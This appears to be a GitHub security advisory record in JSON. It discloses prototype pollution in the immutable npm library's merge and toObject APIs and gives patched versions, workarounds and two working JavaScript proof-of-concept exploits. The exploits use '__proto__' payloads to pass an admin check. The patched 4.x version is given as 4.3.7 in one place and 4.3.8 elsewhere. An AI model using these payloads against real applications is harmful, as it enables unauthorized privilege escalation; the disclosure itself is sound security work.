{"id":"GHSA-wf6x-7x77-mvgw","summary":"Immutable is vulnerable to Prototype Pollution","details":"## Impact\n_What kind of vulnerability is it? Who is impacted?_\n\nA Prototype Pollution is possible in immutable via the mergeDeep(), mergeDeepWith(), merge(), Map.toJS(), and Map.toObject() APIs.\n\n## Affected APIs\n\n| API                                     | Notes                                                       |\n| --------------------------------------- | ----------------------------------------------------------- |\n| `mergeDeep(target, source)`              | Iterates source keys via `ObjectSeq`, assigns `merged[key]` |\n| `mergeDeepWith(merger, target, source)`  | Same code path                                              |\n| `merge(target, source)`                    | Shallow variant, same assignment logic                      |\n| `Map.toJS()`                              | `object[k] = v` in `toObject()` with no `__proto__` guard   |\n| `Map.toObject()`                            | Same `toObject()` implementation                            |\n| `Map.mergeDeep(source)`                  | When source is converted to plain object                    |\n\n\n\n## Patches\n_Has the problem been patched? What versions should users upgrade to?_\n\n| major version | patched version |\n| --- | --- |\n| 3.x | 3.8.3 |\n| 4.x | 4.3.7 |\n| 5.x | 5.1.5 |\n\n## Workarounds\n_Is there a way for users to fix or remediate the vulnerability without upgrading?_\n\n- [Validate user input](https://developer.mozilla.org/en-US/docs/Web/Security/Attacks/Prototype_pollution#validate_user_input)\n- [Node.js flag --disable-proto](https://developer.mozilla.org/en-US/docs/Web/Security/Attacks/Prototype_pollution#node.js_flag_--disable-proto)\n- [Lock down built-in objects](https://developer.mozilla.org/en-US/docs/Web/Security/Attacks/Prototype_pollution#lock_down_built-in_objects)\n- [Avoid lookups on the prototype](https://developer.mozilla.org/en-US/docs/Web/Security/Attacks/Prototype_pollution#avoid_lookups_on_the_prototype)\n- [Create JavaScript objects with null prototype](https://developer.mozilla.org/en-US/docs/Web/Security/Attacks/Prototype_pollution#create_javascript_objects_with_null_prototype)\n\n## Proof of Concept\n\n### PoC 1 — mergeDeep privilege escalation\n\n```javascript\n\"use strict\";\nconst { mergeDeep } = require(\"immutable\"); // v5.1.4\n\n// Simulates: app merges HTTP request body (JSON) into user profile\nconst userProfile = { id: 1, name: \"Alice\", role: \"user\" };\nconst requestBody = JSON.parse(\n  '{\"name\":\"Eve\",\"__proto__\":{\"role\":\"admin\",\"admin\":true}}',\n);\n\nconst merged = mergeDeep(userProfile, requestBody);\n\nconsole.log(\"merged.name:\", merged.name); // Eve   (updated correctly)\nconsole.log(\"merged.role:\", merged.role); // user  (own property wins)\nconsole.log(\"merged.admin:\", merged.admin); // true  ← INJECTED via __proto__!\n\n// Common security checks — both bypassed:\nconst isAdminByFlag = (u) =\u003e u.admin === true;\nconst isAdminByRole = (u) =\u003e u.role === \"admin\";\nconsole.log(\"isAdminByFlag:\", isAdminByFlag(merged)); // true  ← BYPASSED!\nconsole.log(\"isAdminByRole:\", isAdminByRole(merged)); // false (own role=user wins)\n\n// Stealthy: Object.keys() hides 'admin'\nconsole.log(\"Object.keys:\", Object.keys(merged)); // ['id', 'name', 'role']\n// But property lookup reveals it:\nconsole.log(\"merged.admin:\", merged.admin); // true\n```\n\n### PoC 2 — All affected APIs\n\n```javascript\n\"use strict\";\nconst { mergeDeep, mergeDeepWith, merge, Map } = require(\"immutable\");\n\nconst payload = JSON.parse('{\"__proto__\":{\"admin\":true,\"role\":\"superadmin\"}}');\n\n// 1. mergeDeep\nconst r1 = mergeDeep({ user: \"alice\" }, payload);\nconsole.log(\"mergeDeep admin:\", r1.admin); // true\n\n// 2. mergeDeepWith\nconst r2 = mergeDeepWith((a, b) =\u003e b, { user: \"alice\" }, payload);\nconsole.log(\"mergeDeepWith admin:\", r2.admin); // true\n\n// 3. merge\nconst r3 = merge({ user: \"alice\" }, payload);\nconsole.log(\"merge admin:\", r3.admin); // true\n\n// 4. Map.toJS() with __proto__ key\nconst m = Map({ user: \"alice\" }).set(\"__proto__\", { admin: true });\nconst r4 = m.toJS();\nconsole.log(\"toJS admin:\", r4.admin); // true\n\n// 5. Map.toObject() with __proto__ key\nconst m2 = Map({ user: \"alice\" }).set(\"__proto__\", { admin: true });\nconst r5 = m2.toObject();\nconsole.log(\"toObject admin:\", r5.admin); // true\n\n// 6. Nested path\nconst nested = JSON.parse('{\"profile\":{\"__proto__\":{\"admin\":true}}}');\nconst r6 = mergeDeep({ profile: { bio: \"Hello\" } }, nested);\nconsole.log(\"nested admin:\", r6.profile.admin); // true\n\n// 7. Confirm NOT global\nconsole.log(\"({}).admin:\", {}.admin); // undefined (global safe)\n```\n\n**Verified output against immutable@5.1.4:**\n\n```\nmergeDeep admin: true\nmergeDeepWith admin: true\nmerge admin: true\ntoJS admin: true\ntoObject admin: true\nnested admin: true\n({}).admin: undefined  ← global Object.prototype NOT polluted\n```\n\n\n## References\n_Are there any links users can visit to find out more?_\n\n- [JavaScript prototype pollution](https://developer.mozilla.org/en-US/docs/Web/Security/Attacks/Prototype_pollution)","aliases":["CVE-2026-29063"],"modified":"2026-07-17T21:12:28.335254038Z","published":"2026-03-04T21:28:06Z","database_specific":{"nvd_published_at":"2026-03-06T19:16:21Z","cwe_ids":["CWE-1321"],"severity":"HIGH","github_reviewed":true,"github_reviewed_at":"2026-03-04T21:28:06Z"},"references":[{"type":"WEB","url":"https://github.com/immutable-js/immutable-js/security/advisories/GHSA-wf6x-7x77-mvgw"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-29063"},{"type":"WEB","url":"https://github.com/immutable-js/immutable-js/issues/2178"},{"type":"WEB","url":"https://github.com/immutable-js/immutable-js/commit/16b3313fdf2c5f579f10799e22869f6909abf945"},{"type":"WEB","url":"https://github.com/immutable-js/immutable-js/commit/6e2cf1cfe6137e72dfa48fc2cfa8f4d399d113f9"},{"type":"WEB","url":"https://github.com/immutable-js/immutable-js/commit/6ed4eb626906df788b08019061b292b90bc718cb"},{"type":"PACKAGE","url":"https://github.com/immutable-js/immutable-js"},{"type":"WEB","url":"https://github.com/immutable-js/immutable-js/releases/tag/v3.8.3"},{"type":"WEB","url":"https://github.com/immutable-js/immutable-js/releases/tag/v4.3.8"},{"type":"WEB","url":"https://github.com/immutable-js/immutable-js/releases/tag/v5.1.5"}],"affected":[{"package":{"name":"immutable","ecosystem":"npm","purl":"pkg:npm/immutable"},"ranges":[{"type":"SEMVER","events":[{"introduced":"4.0.0-rc.1"},{"fixed":"4.3.8"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/03/GHSA-wf6x-7x77-mvgw/GHSA-wf6x-7x77-mvgw.json"}},{"package":{"name":"immutable","ecosystem":"npm","purl":"pkg:npm/immutable"},"ranges":[{"type":"SEMVER","events":[{"introduced":"5.0.0"},{"fixed":"5.1.5"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/03/GHSA-wf6x-7x77-mvgw/GHSA-wf6x-7x77-mvgw.json"}},{"package":{"name":"immutable","ecosystem":"npm","purl":"pkg:npm/immutable"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"3.8.3"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/03/GHSA-wf6x-7x77-mvgw/GHSA-wf6x-7x77-mvgw.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N"}]}